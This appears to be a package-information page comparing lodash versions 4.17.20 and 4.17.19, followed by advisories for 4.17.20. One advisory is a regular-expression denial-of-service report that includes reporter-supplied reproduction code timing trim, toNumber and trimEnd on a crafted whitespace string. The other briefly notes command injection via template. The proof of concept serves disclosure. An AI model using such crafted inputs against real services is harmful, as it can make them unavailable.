Lodash, a widely-used JavaScript utility library, provides modular tools that simplify common programming tasks. Comparing versions 4.17.20 and 4.17.19 reveals subtle differences that, while not groundbreaking, demonstrate the continuous refinement of the library. Both versions share the same core description, license (MIT), repository, and author information, indicating a consistent development philosophy. The key distinctions lie in the release date and the unpacked size of the distribution. Version 4.17.20 was released on August 13, 2020, subsequent to version 4.17.19 which was released on July 8, 2020. Furthermore, the unpacked size of version 4.17.20 is slightly larger, measuring 1,406,354 bytes compared to 1,401,746 bytes in version 4.17.19. This suggests that version 4.17.20 likely includes minor bug fixes, performance improvements, or potentially new, albeit small, feature additions that contribute to the increased size. Both versions include 1049 files. For developers, particularly those sensitive to package size or seeking the most up-to-date bug fixes, upgrading to version 4.17.20 is a worthwhile consideration. While the core functionalities remain consistent, the incremental changes contribute to a more robust and potentially performant utility belt for JavaScript development, reinforcing Lodash's reputation as a reliable and actively maintained library.
All the vulnerabilities related to the version 4.17.20 of the package
Regular Expression Denial of Service (ReDoS) in lodash
All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.
Steps to reproduce (provided by reporter Liyuan Chen):
var lo = require('lodash');
function build_blank(n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);
Command Injection in lodash
lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.